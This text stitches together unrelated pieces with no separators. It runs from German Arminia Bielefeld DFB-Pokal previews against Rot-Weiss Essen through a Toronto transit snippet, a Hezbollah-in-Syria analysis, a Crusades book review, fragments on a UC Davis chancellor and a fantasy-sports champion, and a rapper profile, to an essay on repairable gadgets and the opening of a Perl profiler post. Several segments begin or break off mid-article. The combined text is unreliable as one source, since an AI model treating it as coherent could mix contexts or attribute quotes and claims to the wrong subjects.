Zeit für eine Revanche! Am Samstag startet der DSC gegen den Regionalligisten Rot-Weiss Essen in die erste Runde des DFB-Pokals. Im Ruhrpott erwartet die Arminen ein Gegner, der bereits seit vier Wochen im normalen Spielbetrieb steht. Zwei Siege, ein Unentschieden, eine Niederlage – das ist die Bilanz der Essener seit dem Saisonstart in die Regionalliga West am 31. Juli. Gegen den SC Wiedenbrück (2:0) und den Bonner SC (2:1) konnte RW die ersten sechs Punkte der Saison einfahren, die Partie der Essener beim Wuppertaler SV vor einer Woche endete hingegen torlos mit 0:0. Zuletzt kassierte das Team von Cheftrainer Sven Demandt vor heimischem Publikum eine deftige 0:4-Niederlage gegen den Meisterfavoriten FC Viktoria Köln. Für seine Gelassenheit bekannt, reagierte Demandt gegenüber der “WAZ” darauf verhältnismäßig locker: “Wir haben vorher nicht durchgedreht und drehen auch jetzt nicht durch. Wir werden uns nun einmal schütteln und dann wieder zurückkommen.” Im Niederrheinpokal qualifiziert Zurückkommen wollen die Essener bereits am Samstag, wenn sie um 15:30 Uhr vor fast ausverkauftem Haus gegen Arminia im DFB-Pokal antreten. Im Mai qualifizierten sich die Essener im Niederrheinpokal-Finale vor einer Kulisse von 18.000 Zuschauern gegen den Wuppertaler SV mit einem 3:0-Sieg für die erste Runde. So lag danach das Schicksal der Essener in der Hand von Losfee Caroline Siems, eine deutsche U17-Nationalspielerin, die Arminia als Gegner für RWE ausmachte. In der Pokal-Partie muss Demandt am Samstag auf einige seiner Spieler verzichten: Neben den langzeitverletzten Kai Druschky und Jeffrey Obst fehlt auch nach wie vor Kamil Bednarski, der nach einem Sehnenriss laut Demandt aber mittlerweile zumindest wieder ohne Krücken unterwegs ist. Hoffnungen hat der RWE indes bei Angreifer Frank Löning, der sich in kleinen Schritten dem Pokalspiel entgegenarbeitet. “Es wird jeden Tag besser, wenn es in dem Tempo weitergeht, könnte es klappen”, sagte er gegenüber “Der Westen”. Begegnung mit Historie Kramt man einmal in der Historien-Kiste der Arminen, kommen bei der Begegnung Rot-Weiss Essen gegen Arminia Bielefeld einige Erinnerungen auf: 1994 zum Beispiel kämpfte der DSC mit Essen um den Aufstieg aus der Regionalliga West in die Zweite Bundesliga. Die Rückrunden-Partie endete 4:0 für Arminia, woraufhin ein Durchmarsch bis zum Aufstieg gelang. Die noch frühere Vergangenheit gibt ebenfalls einen Klassiker her: Das erste Bundesliga-Heimspiel auf der damaligen Bielefelder Alm bestritt der DSC ebenfalls gegen Rot-Weiss Essen. Endstand damals war 0:0. Im DFB-Pokal begegneten sich die beiden Teams ebenfalls: 1977 verlor Arminia mit 0:2 – Zeit für eine Revanche!
“Sind bereit, den Pokalfight anzunehmen” Auf der heutigen Pressekonferenz vor der ersten 1. Runde im DFB-Pokal bei Rot-Weiss Essen erklärten Cheftrainer Rüdiger Rehm und Innenverteidiger Brian Behrendt, was sie von der kommenden Partie erwarten und warum Pokalspiele immer etwas ganz Besonderes sind. Rüdiger Rehm hat bereits seine ganz eigenen Erfahrungen im DFB-Pokal gemacht: Sowohl als Spieler, als auch als Trainer. Mit den Kickers aus Offenbach trat er sogar im Jahr 2006 bei Arminia im Viertelfinale an, sein Team verlor aber im Elfmeterschießen. Dass das kommende Spiel bei Rot-Weiss Essen mit Sicherheit auch kein leichtes wird, ist dem Cheftrainer der Profis klar. Auf die Frage eines Journalisten, ob die letzte Niederlage der Essener gegen Viktoria Köln (0:4) sein Team blenden könnte, hatte er klare Worte: “Wenn meine Mannschaft nach den ersten beiden Spielen etwas blendet, dann machen wir einen Fehler. Ich will von der ersten Sekunde an sehen, dass wir alles geben.” Arminia habe in den letzten beiden Spielen einen kleinen Rückschlag erlitten und die Punktausbeute entspreche nicht dem, was sich das Trainerteam und Mannschaft vorstellen würden. Dennoch ist Rehm positiv gestimmt, dass es am Samstag in Essen eine Runde weiter gehen kann. Allerdings warnt er auch vor dem Gegner: “Rot-Weiss Essen hat Qualitäten in der Offensive. Sie sind in Kontersituationen immer gefährlich, da ist auch das Publikum sofort da. Wir müssen diese Situationen unterbinden und sie in der Defensive viel beschäftigen.” Personell stehen ihm dafür bis auf zwei Spieler alle Kadermitglieder zur Verfügung: Keanu Staude ist aufgrund einer Sperre aus dem letztjährigen U19-Westfalenpokal gesperrt, verletzungsbedingt muss Manuel Prietl eine weitere Partie aussetzen. Dennoch gab es bei dieser Personalie auch positive Nachrichten, denn der Neuzugang aus Österreich wird wahrscheinlich am Freitag wieder ins Training einsteigen. “Alle anderen”, so Rehm, “stehen zur Verfügung und sind bereit, den Pokalfight anzunehmen.” Den Pokalfight annehmen möchte auch Brian Behrendt. Der 24-Jährige lobte eingangs auf die Frage, was für einen Sieg am Samstag noch verbessert werden müsse, zunächst einmal die positive Defensiv-Leistung: “Ich kann zunächst einmal für unsere Defensive sprechen. Wir haben das die ersten beiden Spiele sehr gut gemacht.” Die fehlenden Tore in der Offensive an bestimmten Punkten festzumachen, findet er hingegen schwierig: “Es gibt nach vorne einiges aufzuarbeiten. Wir müssen unsere Chancen in Tore ummünzen. Wenn der Ball über die Außenpositionen kommt, müssen wir kompakt im Sechzehner sein, denn da erzielst du die meisten Tore.” Auf die Frage, wie er sich auf seiner neuen Position – der Innenverteidigung – fühlt, fand er folgende Worte: “Für mich ist es wichtig, zu spielen – egal auf welcher Position. Ich bin mit meiner Leistung aus den ersten beiden Spielen zufrieden, auch wenn sicher noch Luft nach oben ist.” Den Gegner im ersten DFB-Pokalspiel wird auch er definitiv nicht unterschätzen: “Jeder weiß, worum es geht. Die zwei kommenden Spiele sind enorm wichtig. Die Nerven wird keiner verlieren, aber jeder sollte sich auf das konzentrieren, was noch für einen Sieg fehlt.” Das hoffen auch die knapp 3.000 Fans, die am Samstag im Stadion Essen dabei sein werden. Der Vorverkauf in Bielefeld läuft noch bis Freitag. Eine Tageskasse wird es am Samstag nicht geben! Weitere Aussagen von Rehm und Behrendt gibt es auch im Arminia-Podcast von Radio Bielefeld. In Anlauf auf ArminiaClubTV äußert sich auch Torhüter Wolfgang Hesl zum Spiel in Essen:
Berichterstattung Essen – DSC Wo kann ich Arminia unterwegs live verfolgen? Wann und wo sehe ich die Highlights des Spiels? Hier gibt es einen Überblick zur Berichterstattung gegen Rot-Weiss Essen. Wer keine Chance hat, sich ein Ticket zu kaufen, um am Samstag um 15:30 Uhr das Spiel bei Rot-Weiss Essen live im Stadion Essen zu verfolgen, dem seien folgende Alternativen empfohlen: In unserer Arminia-App bieten wir euch einen ausführlichen Liveticker inkl. interessanter Statistiken an!
Auf unserem Twitter-Kanal halten wir Euch immer auf dem Laufenden.
Per ASC-Audio-Livestream werden alle Heim und Auswärts-Pflichtspiele übertragen.
Radio Bielefeld berichtet ebenfalls von der Begegnung. Reporter Ulrich Zwetz ist 90 Minuten vor Ort und meldet sich mehrmals live aus dem Stadion Essen.
Sky zeigt das Spiel live und in der Konferenz. Ihr wart beim entscheidenden Tor noch in der Schlange vor der Bratwurstbude oder ihr habt die Rudelbildung samt roter Karte dank eurer drückenden Blase verpasst? Hier findet ihr nach Schlusspfiff Bewegtbilder von der Partie: Sky, “Alle Spiele, alle Tore”, nach Spielende
ARD, “Sportschau”, 18:00 Uhr bis 19:57 Uhr
“I’m saying here we’re going to build public transit. We’re building subways, we’re building LRTs, we’re building BRTs, we’re building Go Trains. We are building,” Finance Minister Charles Sousa told reporters outside Toronto city hall, after celebrating national seniors’ day alongside mayoral contenders.
That left the impression the Liberal government might take its cue from whoever wins the election.
Later in the day, however, a statement was released on behalf of Steven Del Duca, the Minister of Transportation.
“We received a strong mandate on June 12th from the people of Ontario to implement our transit and transportation infrastructure plan,” he said. “That plan includes a subway to Scarborough. We are moving forward with our partners on building the Scarborough Subway.”
Of the three main mayoral candidates, John Tory and Doug Ford have pledged to build the Scarborough subway. Olivia Chow has said she wants to cancel the project and build light rail instead.
National Post
Damascus, by Elijah J. Magnier: @EjmAlrai
There has been a lot of media coverage claiming that Russia has requested the Lebanese Hezbollah to leave Syrian territory, speculation initiated following Hezbollah Secretary-General Sayyed Hassan Nasrallah’s announcement of the withdrawal of his men from the Lebanese border, with the exception of the outskirts of the city of Arsal. Nasrallah asked the Lebanese army to fill the vacuum from the Lebanese side (Hezbollah won’t pull out of the Syrian side) and that prompted some media and analysts to conclude that Moscow no longer wants Hezbollah to remain in the Levant. Is this theory close to reality?
The border area between Lebanon and Syria, controlled by Hezbollah and the Syrian army, is under the gaze of Israel because it represents Hezbollah’s new base:, it hosts Hezbollah “Al Ridwan” elite forces, and its strategic missile silos are dug into the mountains and fortified in the caves all along the 130 kilometre border area. The area was a heavy burden on the Hezbollah military apparatus, forcing it to create new roads, fortify dozens of sites and find adequate shelter for its strategic missiles – the M 600 and the new version of its Iran-made “Al-Fateh” missiles – inside the mountains. Moreover, Hezbollah has operated in the area for the last 3 years throughout the summer and the winter, even on peaks of up to 2,500 meters, a significant drain on its already significant monthly budget.
More than 500 al-Qaeda and rebel fighters were deployed in this same area, apart from the presence of ISIS (The “Islamic State” group). These forced Hezbollah to deploy at least 5,000 fighters just to that area. Additionally, Hezbollah used drones, set up dozens of ambushes and positioned IEDs to hunt down its enemies and tighten the control over a significantly difficult geographical area.
After many years of war, Hezbollah managed to control a large part of the region: this means al-Qaeda, ISIS and the rebels would have been left without any military gain had these decided to stay in the area.
When most Syrian areas along the borders with Lebanon -in the Qalamoun and Zabadani mainly- agreed a settlement with the Syrian leadership in Damascus; and (following the agreement of the parties in the war in Syria on the rebel side) agreed – under the auspices of Russia, Turkey and Iran – to “stop fighting and leave the area (only those willing to leave to Idlib, while many Syrians preferred to stay in their cities) it was no longer possible for rebels and jihadists to keep up the fight.
This coincides with the request of Moscow for the Hezbollah leadership to increase the number of “Ridwan” forces and to push these men towards the Syrian semi-desert steppe: that was possible for Hezbollah, following the end of the military operation in the border area.
Hezbollah’s military activity on the eastern chain was difficult and painful. Huge budgets were invested to allow men to operate and fight in the area. Today, however, the threat has almost ended. Most of the Hezbollah forces have moved to other areas inside Syria.
The “Ridwan” Hezbollah forces, along with hundreds of Russian special forces and the Syrian army and its proxies, are now fighting to recover the oil fields (exploited by Russia in Syria) and to stop the American-British-Jordanian project to create a “buffer zone” starting from the Suweida and Daraa governed territories and extending towards the Iraqi border, Deir al-Zour from Palmyra to Sukhna.
It is clear that the US – which supports the progress of the “Syrian Democratic Forces” (SDF) made up of Kurds and of Arab tribes under the Kurdish leadership in the northeast of Syria – is not yet ready to guide its proxies towards the city of Deir Al-Zour, besieged as it is by ISIS. ISIS is indeed crumbling in Iraq and Syria but not yet that weak in Deir Al-Zour province, and especially not in the Syrian Badia (steppe).
Russia, Damascus and their allies are headed towards Deir Al-Zour, regardless of the US and their proxies rebels forces’ plan to control the Syrian steppe and the city of Deir Al-Zour (which host large numbers of Syrian Army officers and soldiers, along with Hezbollah Special Forces). Moreover, Damascus has sent a clear signal to Amman, a threat that it would consider the Jordanian forces as enemies if these set foot on Syrian soil in support of the US and its Syrian proxies. This clear and direct menace stopped the American-British-Jordanian progress and has put these forces in an awkward position with the Damascus authorities.
The Hezbollah “Ridwan” Special Forces were therefore pushed into the battles of Deir Al-Zour, al-Sukhna, al-Raqqah, and Daraa in order to recover the area around these cities and locations, but above all, to spoil the US plans to occupy the North- east of Syria.
As for Russia, its forces and Generals are closely watching the Syrian battles, especially those waged by the Lebanese Hezbollah. Russian officers draw military lessons and know-how from the performance of the “Ridwan” special forces and the quality and effectiveness of the weapons and the tactics used, specially after Hezbollah’s accumulated experience in the long war with Israel and its multi-level wars in Syria where they faced forces pursuing a variety of well-developed methods and ideologies.
Russia has never had a similar battle in its history, so there is a widespread interest expressed by a heavy presence of experts on all fronts. This is not only to seek air support and to participate in the fighting, but – indeed – also to watch the fights.
Hezbollah has succeeded in changing the equation in Syria in conjunction with the Russian and Syrian air forces and has carried out several major battles., the most important of which were the battles of Aleppo, Homs, Hama, and those on the Syrian-Lebanese borders (Al-Qalamoun and Zabadani), al-Quseyr, the various Lattakia axes, around Damascus at Qaboun, Barza, WadiBarada and Madaya.
Because the end of military operations on the Syrian-Lebanese border is nigh, Hezbollah has managed to direct more than 20,000 troops to other internal but strategic fronts. The fronts around Damascus and Zabadani also allowed more than 10,000 Syrian troops to be moved to “hotter” areas.
Sources connected with decision makers in Syria confirmed that Hezbollah is building up greater forces in Syria to reach an unprecedented level, supported by huge logistic supply lines to accompany the fighting force. Significant military plans are being prepared for after the forthcoming month of Ramadan to end the presence of al-Qaeda and ISIS militants around Arsal city. These militants will be offered the chance to leave and join Idlib or fight to the end on the Syrian-Lebanese border, an area excluded from the Astana-Kazakhstan negotiations.
If Hezbollah withdraws from the Lebanese border, it will not leave the Syrian side of the borders where it has established static positions, military training cities, and sites for its weapons involved in any forthcoming war with Israel. Syria has become directly involved in this particular Hezbollah-Israel conflict. Hezbollah has also introduced the concept of “the Syrian resistance” in the ideology,: this has become a reality that Israel will find difficult to ignore in the near future when the war in Syria ends.
by jonathan riley-smith
columbia university press, 136 pages, $24.50
Within a month of the attacks of September 11, 2001, former president Bill Clinton gave a speech to the students of Georgetown University. As the world tried to make sense of the senseless, Clinton offered his own explanation: “Those of us who come from various European lineages are not blameless,” he declared. “Indeed, in the First Crusade, when the Christian soldiers took Jerusalem, they first burned a synagogue with three hundred Jews in it, and proceeded to kill every woman and child who was Muslim on the Temple Mount. The contemporaneous descriptions of the event describe soldiers walking on the Temple Mount, a holy place to Christians, with blood running up to their knees.
“I can tell you that that story is still being told today in the Middle East, and we are still paying for it,” he concluded, and there is good reason to believe he was right. Osama bin Laden and other Islamists regularly refer to Americans as “Crusaders.” Indeed, bin Laden directed his fatwa authorizing the September 11 attacks against the “Crusaders and Jews.” He later preached that “for the first time the Crusaders have managed to achieve their historic ambitions and dreams against our Islamic umma, gaining control over Islamic holy places and Holy Sanctuaries. . . . Their defeat in Iraq will mean defeat in all their wars and a beginning of the receding of their Zionist–Crusader tide against us.”
Most people in the West do not believe that they have been prosecuting a continuous Crusade against Islam since the Middle Ages. But most do believe that the Crusades started the problems that plague and endanger us today. Westerners in general (and Catholics in particular) find the Crusades a deeply embarrassing episode in their history. As the Ridley Scott movie Kingdom of Heaven graphically proclaimed, the Crusades were unprovoked campaigns of intolerance preached by deranged churchmen and fought by religious zealots against a sophisticated and peaceful Muslim world. According to the Hollywood version, the blind violence of the Crusades gave birth to jihad, as the Muslims fought to defend themselves and their world. And for what? The city of Jerusalem, which was both “nothing and everything,” a place filled with religion that “drives men mad.”
On September 11, 2001, there were only a few professional historians of the Crusades in America. I was the one who was not retired. As a result, my phone began ringing and didn’t stop for years. In the hundreds of interviews I have given since that terrible day, the most common question has been, “How did the Crusades lead to the terrorist attacks against the West today?” I always answered: “They did not. The Crusades were a medieval phenomenon with no connection to modern Islamist terrorism.”
That answer has never gone over well. It seems counterintuitive. If the West sent Crusaders to attack Muslims throughout the Middle Ages, haven’t they a right to be upset? If the Crusades spawned anti-Western jihads, isn’t it reasonable to see them as the root cause of the current jihads? The answer is no, but to understand it requires more than the scant minutes journalists are usually willing to spare. It requires a grasp not only of the Crusades but of the ways those wars have been exploited and distorted for modern agendas.
That answer is now contained in a book, The Crusades, Christianity, and Islam, written by the most distinguished historian of the Crusades, the Cambridge University scholar Jonathan Riley-Smith. A transcription of the Bampton Lectures he delivered in October 2007 at Columbia University, it is a thin book, brimming with insights, approachable by anyone interested in the subject.
It is generally thought that Christians attacked Muslims without provocation to seize their lands and forcibly convert them. The Crusaders were Europe’s lacklands and ne’er-do-wells, who marched against the infidels out of blind zealotry and a desire for booty and land. As such, the Crusades betrayed Christianity itself. They transformed “turn the other cheek” into “kill them all; God will know his own.”
Every word of this is wrong. Historians of the Crusades have long known that it is wrong, but they find it extraordinarily difficult to be heard across a chasm of entrenched preconceptions. For on the other side is, as Riley-Smith puts it “nearly everyone else, from leading churchmen and scholars in other fields to the general public.” There is the great Sir Steven Runciman, whose three-volume History of the Crusades is still a brisk seller for Cambridge University Press a half century after its release. It was Runciman who called the Crusades “a long act of intolerance in the name of God, which is a sin against the Holy Ghost.” The pity of it is that Runciman and the other popular writers simply write better stories than the professional historians.
So we continue to write our scholarly books and articles, learning more and more about the Crusades but scarcely able to be heard. And when we are heard, we are dismissed as daft. I once asked Riley-Smith if he believed popular perceptions of the Crusades would ever be changed by modern scholarship. “I’ve just about given up hope,” he answered. In his new book he notes that in the last thirty years historians have begun to reject “the long-held belief that it [the Crusade movement] was defined solely by its theaters of operation in the Levant and its hostility toward Islam—with the consequence that in their eyes the Muslims move slightly off center stage—and many of them have begun to face up to the ideas and motivation of the Crusaders. The more they do so the more they find themselves contra mundum or, at least, contra mundum Christianum.”
One of the most profound misconceptions about the Crusades is that they represented a perversion of a religion whose founder preached meekness, love of enemies, and nonresistance. Riley-Smith reminds his reader that on the matter of violence Christ was not as clear as pacifists like to think. He praised the faith of the Roman centurion but did not condemn his profession. At the Last Supper he told his disciples, “Let him who has no sword sell his cloak and buy one. For I tell you that this Scripture must be fulfilled in me, And he was reckoned with transgressors.”
St. Paul said of secular authorities, “He does not bear the sword in vain; he is the servant of God to execute his wrath on the wrongdoer.” Several centuries later, St. Augustine articulated a Christian approach to just war, one in which legitimate authorities could use violence to halt or avert a greater evil. It must be a defensive war, in reaction to an act of aggression. For Christians, therefore, violence was ethically neutral, since it could be employed either for evil or against it. As Riley-Smith notes, the concept that violence is intrinsically evil belongs solely to the modern world. It is not Christian.
All the Crusades met the criteria of just wars. They came about in reaction attacks against Christians or their Church. The First Crusade was called in 1095 in response to the recent Turkish conquest of Christian Asia Minor, as well as the much earlier Arab conquest of the Christian-held Holy Land. The second was called in response to the Muslim conquest of Edessa in 1144. The third was called in response to the Muslim conquest of Jerusalem and most other Christian lands in the Levant in 1187.
In each case, the faithful went to war to defend Christians, to punish the attackers, and to right terrible wrongs. As Riley-Smith has written elsewhere, crusading was seen as an act of love—specifically the love of God and the love of neighbor. By pushing back Muslim aggression and restoring Eastern Christianity, the Crusaders were—at great peril to themselves—imitating the Good Samaritan. Or, as Innocent II told the Knights Templar, “You carry out in deeds the words of the gospel, ‘Greater love has no man than this, that a man lay down his life for his friends.’”
But the Crusades were not just wars. They were holy wars, and that is what made them different from what came before. They were made holy not by their target but by the Crusaders’ sacrifice. The Crusade was a pilgrimage and thereby an act of penance. When Urban II called the First Crusade in 1095, he created a model that would be followed for centuries. Crusaders who undertook that burden with right intention and after confessing their sins would receive a plenary indulgence. The indulgence was a recognition that they undertook these sacrifices for Christ, who was crucified again in the tribulations of his people.
And the sacrifices were extraordinary. As Riley-Smith writes in this book and his earlier The First ­Crusaders, the cost of crusading was staggering. Without financial assistance, only the wealthy could afford to embark on a Crusade. Many noble families impoverished themselves by crusading.
Historians have long known that the image of the Crusader as an adventurer seeking his fortune is exactly backward. The vast majority of Crusaders returned home as soon as they had fulfilled their vow. What little booty they could acquire was more than spent on the journey itself. One is hard pressed to name a single returning Crusader who broke even, let alone made a profit on the journey. And those who returned were the lucky ones. As Riley-Smith explains, recent studies show that around one-third of knights and nobility died on crusade. The death rates for lower classes were even higher.
One can never understand the Crusades without understanding their penitential character. It was the indulgence that led thousands of men to take on a burden that would certainly cost them dearly. The secular nobility of medieval Europe was a warrior aristocracy. They made their living by the sword. We know from their wills and charters that they were deeply aware of their own sinfulness and anxious over the state of their souls. A Crusade provided a way for them to serve God and to do penance for their sins. It allowed them to use their weapons as a means of their salvation rather than of their damnation.
Of course it was difficult, but that is what penance is supposed to be. As Urban and later Crusade preachers reminded them, Christ Himself had said, “If any man would come after me, let him deny himself and take up his cross and follow me.” As one Crusade preacher wrote, “Those who take the cross deny, that is to say renounce, themselves by exposing themselves to mortal danger, leaving behind their loved ones, using up their goods, carrying their cross, so that afterward they may be carried to heaven by the cross.” The Crusader sewed a cloth cross to his garment to signify his penitential burden and his hope.
Take away penitence and the Crusades cannot be explained. Yet in the seventeenth and eighteenth centuries Protestants and then Enlightenment thinkers rejected the idea of temporal penalties due to sin—along with indulgences, purgatory, and the papacy. How then did they explain the Crusades? Why else would thousands of men march thousands of miles deep into enemy territory, if not for something precious? The first explanation was that they were fooled by the Antichrist: The Catholic Church had convinced the simple that their salvation lay in fighting its battles. Later, with the advent of liberalism, critics assumed that the Crusaders must have had economic motives. They were seeking wealth and simply used religion as a cover for their worldly desires.
In the nineteenth century, the memory of the Crusades became hopelessly entangled with contemporary European imperialism. Riley-Smith tells the fascinating story of Archbishop Charles-Martial Allemand-Lavigerie of Algiers, the founder of the missionary orders of the White Fathers and White Sisters, who worked diligently to establish a new military order resembling the Knights Templar, Teutonic Knights, and the Knights Hospitaller of the Middle Ages. His new order was to be sent to Africa, where it would protect missionaries, fight against the slave trade, and support the progress of French civilization in the continent.
Drawing on money from antislavery societies, Lavigerie purchased lands on the edge of the Saharan Desert to use as a mother house for a new order, L’Institut Religieux et Militaire des Frères Armés du Sahara. The order attracted hundreds of men from all social classes, and in 1891 the first brothers received their white habits emblazoned with red crosses. The dust cover of Riley-Smith’s book is itself a wonderful picture of these brothers at their African home. With palm trees behind them, they look proudly into the camera, each wearing a cross and some holding rifles.
The Institut des Fréres Armés lasted scarcely more than a year before it was scrapped and its founder died, but other attempts to found a military order were made in the nineteenth century, even in Protestant England. All wove together the contrasting threads of Romanticism, imperialism, and the medieval Crusades.
President Clinton is not alone in thinking that the Muslim world is still brooding over the crimes of the Crusaders. It is commonly thought—even by Muslims—that the effects and memory of that trauma have been with the Islamic world since it was first inflicted in the eleventh century. As Riley-Smith explains, however, the Muslim memory of the Crusades is of very recent vintage. Carole Hillenbrand first uncovered this fact in her groundbreaking book The Crusades: Islamic Perspectives. The truth is that medieval Muslims came to realize that the Crusades were religious but had little interest in them. When, in 1291, Muslim armies removed the last vestiges of the Crusader Kingdom from Palestine, the Crusades largely dropped out of Muslim memory.
In Europe, however, the Crusades were a well-remembered formative episode. Europeans, who had bound the Crusades to imperialism, brought the story to the Middle East during the nineteenth century and reintroduced it to the Muslims. Stripping the Crusades of their original purpose, they portrayed the Crusades as Europe’s first colonial venture—the first attempt of the West to bring civilization to the backward Muslim East.
Riley-Smith describes the profound effect that Sir Walter Scott’s novel The Talisman had on European and therefore Middle Eastern opinion of the Crusades. Crusaders such as Richard the Lionhearted were portrayed as boorish, brutal, and childish, while Muslims, particularly Saladin, were tolerant and enlightened gentlemen of the nineteenth century. With the collapse of Ottoman power and the rise of Arab nationalism at the end of the nineteenth century, Muslims bound together these two strands of Crusade narrative and created a new memory in which the Crusades were only the first part of Europe’s assault on Islam—an assault that continued through the modern imperialism of European powers. Europeans reintroduced Saladin, who had been nearly forgotten in the Middle East, and Arab nationalists then cleansed him of his Kurdish ethnicity to create a new anti-Western hero. We saw the result during the run-up to the Iraq War, when Saddam Hussein portrayed himself as a new Saladin who would expel the new Crusaders.
Arab nationalists made good use of the new story of the Crusades during their struggles for independence. Their enemies, the Islamists, then took over the same tool. Osama bin Laden is only the most recent Islamist to adopt this useful myth to characterize the actions of the West as a continual Crusade against Islam.
That is the Crusades’ only connection with modern Islamist terrorism. And yet, so ingrained is this notion that the Crusades began the modern European assault on Islam that many moderate Muslims still believe it. Riley-Smith recounts : “I recently refused to take part in a television series, produced by an intelligent and well-educated Egyptian woman, for whom a continuing Western crusade was an article of faith. Having less to do with historical reality than with reactions to imperialism, the nationalist and Islamist interpretations of crusade history help many people, moderates as well as extremists, to place the exploitation they believe they have suffered in a historical context and to satisfy their feelings of both superiority and humiliation.”
In the Middle East, as in the West, we are left with the gaping chasm between myth and reality. Crusade historians sometimes try to yell across it but usually just talk to each other, while the leading churchmen, the scholars in other fields, and the general public hold to a caricature of the Crusades created by a pox of modern ideologies. If that chasm is ever to be bridged, it will be with well-written and powerful books such as this.
The chancellor, Linda P. B. Katehi, courted controversy over a series of purported actions, including the use of university funds to suppress the search results after a 2011 episode in which campus police officers used pepper spray against seated protesters, many of them students.
When Ms. Katehi was placed on administrative leave in April, Janet Napolitano, the president of the University of California system and a former secretary of Homeland Security, said that the university was investigating the truthfulness of Ms. Katehi’s accounts of her involvement with social media contracts, as well as questions about the campus’s employment and compensation of some of her immediate family members.
“The job required a lot of computational and algorithmic thinking,” said Olson, who lives with his wife, Rebecca, in Seattle. “That way of thinking and looking at numbers is a benefit when it comes to playing fantasy sports, which is heavily based on statistics.”
In recent years, nearly every would-be general manager in cyberspace has had trouble staying in Olson’s orbit. They have long since come to grips with a sobering reality: They cannot formulate lineups with the same kind of deft drafting, shrewd trading and waiver-wire finds made by a man whose former day job was out of this world.
“Clark is a very impressive, high-skilled player,” Berry said. “He is the Albert Pujols of fantasy sports, a player who consistently produces, a player who is money in the bank.”
Olson is an associate professor of computing and software systems at the University of Washington at Bothell. He graduated from the University of Washington at Seattle, where he also received a master’s degree in electrical engineering, and he earned a doctorate in computer science from the University of California.
He achieved his highest honors in fantasy land through years of studying statistical spreadsheets, newspaper and magazine articles, box scores and rosters. He finished third in the 2002 Über rankings, second in 2003, third in 2004, third again in 2005 and first last year.
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Olson has been consistently in the top 10 this year, running 16 teams in ESPN leagues: seven in baseball, five in basketball and four in hockey. He is pondering a return to fantasy bass fishing.
“The key to most of these sports is knowing where to get good information to help determine which players might do well,” said Olson, who lists the 2005 signing of Milwaukee Brewers pitcher Derrick Turnbow as one of his greatest steals.
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“Sure, I’m good at problem solving and using analytical skills. But like any other fantasy player, I need to be smart in other areas, like picking up free agents, studying current sports news and trends, paying attention to who’s hot and who’s not, and knowing the rules of each league that I belong to.”
In addition to his ESPN teams, Olson spends about 10 hours a week handling the budgets of fantasy teams in high-stakes events. He competes in the National Fantasy Baseball Championship, which is made up of 375 teams. The entry fee is $1,300 and the top prize is $100,000.
In the past three years, Olson has won two league titles in that event, collecting $5,000 for each. He and a partner also earned $5,000 for winning a league in the World Championship of Fantasy Football.
Serious fantasy players are always eager to team with Olson. In fact, he joined forces with the singer Meat Loaf in the 2004 World Championship of Fantasy Baseball.
“Meat Loaf is a huge fantasy sports fan,” Olson said. “We sat beside each other that year at the draft in Las Vegas. We finished third out of 15 teams in our league and won $1,000. But that didn’t even cover our entrance fee.”
Olson said that real-life general managers had made moves on paper that he would have never made online.
“I would not have brought José Vidro to Seattle to be our designated hitter because we could have better used that money,” he said. “We also traded Rafael Soriano, a great setup man, to Atlanta for Horacio Ramirez, a starting pitcher who is often injured, another move I definitely would not have made.
The 23-year-old breakout rapper—by way of Baltimore—recently divulged that he is utilizing the services of a one Swizz Beatz to hold down executive producing opportunities for his upcoming studio debut album, set to be released on 300 Entertainment.
“We’re about to work on this album,” he tells The Baltimore Sun‘s Wesley Case during a recent interview. “Swizz Beatz is executive producing the album. We’re looking to drop around September. Looking to do my own tour. I know I got a couple of tours coming up that we’re working on getting on and everything. We’re going to shoot everything for this mixtape. I’m going to be everywhere, man. People are going to get tired of seeing me.”
Kobang’s visibility has already begun to set a pace this year. The “mixtape” he is referring to is his inaugural label debut, Since We’re Here, released just last week. The project boasts contributions from names such as Rich Da Kid and Jay IDK and production from Chuck Inglish and Nitti Beatz. The iconic producer, whose scored platinum-selling soundscapes from everyone from Jay Z, Beyonce and even Chris Brown, really saw something unique in Kobang, according to Kobang.
“Man, listen. Swizz was like, ‘Man, I’ma let you know, I get a million artists come across me every day, and there ain’t nothing special about them,'” he continued. “There’s something about you. You it! You got ‘it!’ It is what it is. I was like, ‘Man, whatever ‘it’ is, I’m glad I got it, because this is crazy.’ We gonna link up and we gonna make magic.”
Maryland’s biggest city has always been equipped with all the poverty-stricken ethos and ghetto fabulousness (not to mention a buffet platter for fictional inspiration thanks to HBO’s storied series, The Wire) to make them a mainstream rap dream but for whatever reason, the city hasn’t made a consistent impact on the climate. Kobang is not only looking to make an impact on the national scale, he’s also looking to take care of home first.
“I’m also doing a shoe drive,” he added on top of his mounting album plans. “I do a shoe drive every year on my mother’s birthday. That’s April 19 in Baltimore, which is also the [anniversary] of the Freddie Gray [death], so we’re going to do it right on North Avenue. We’re going to bring live music, cook out. We’re just going to have fun in the city.”
Now consider this, usually when a gadget stops functioning, that does not mean that it is at a point of no return. On the contrary, with just a bit of tinkering, it can be brought back to life and work as good as new. So if it’s that easy, why don’t we fix our own gadgets? Well, as consumers we have been brought up to believe that truly modern technology is too complicated for us to understand; if there is an issue, there is no way that we can deal with it ourselves.
It’s true that most of us probably wouldn’t know how to fix our laptop or TV if it stopped working. However that is not because we are inept, it is simply because we are in the dark. The majority of tech manufacturers purposely make it so that their products are difficult to access for repairs. Again, this is not because they are difficult to repair, but because they will make a greater profit if their customers go to their certified technicians or, better yet, invest in a brand new model. Like most things in this world, it’s all a brilliant marketing scheme — thankfully, this time, one that you can avoid.
So, what’s the alternative? One possibility is doing a bit of research online to find the instructions you need. There are thousands of tutorials on YouTube that show you how to repair gadgets, there is iFixit.org. Another great option is to buy gadgets that are designed to be repairable. Take the Ultimate Hacking Keyboard (UHK) as an example. This is a split mechanical keyboard, that is extremely customizable, and designed to be repaired by the user. That last part doesn’t mean that it is made badly and will need to be fixed often. What it means is that the parts of the keyboard are labeled clearly, and come with instructions on how to make repairs, in the rare case that you will need to do so.
It’s quite simple really, if manufacturers make a small effort to educate their customers, then repairs will become immensely common. And, believe it or not, this could be a win-win scenario. Yes, the manufacturer might sell less, but they also won’t have to spend money on technicians and support centers. The user will not only save money, but also reduce e-waste, which is ultimately great for everyone.
I am a relatively new employee here at NYTimes.com and one of my responsibilities is to create tools to help ensure the integrity and scalability of our code. To this end, I would like to introduce you to The New York Times Perl Profiler, or Devel::NYTProf. The purpose of this tool is to allow developers to easily profile Perl code line-by-line with minimal computational overhead and highly visual output. With only one additional command, developers can generate robust color-coded HTML reports that include some useful statistics about their Perl program. Here is the typical usage:
perl -d:NYTProf myslowcode.pl
nytprofhtml
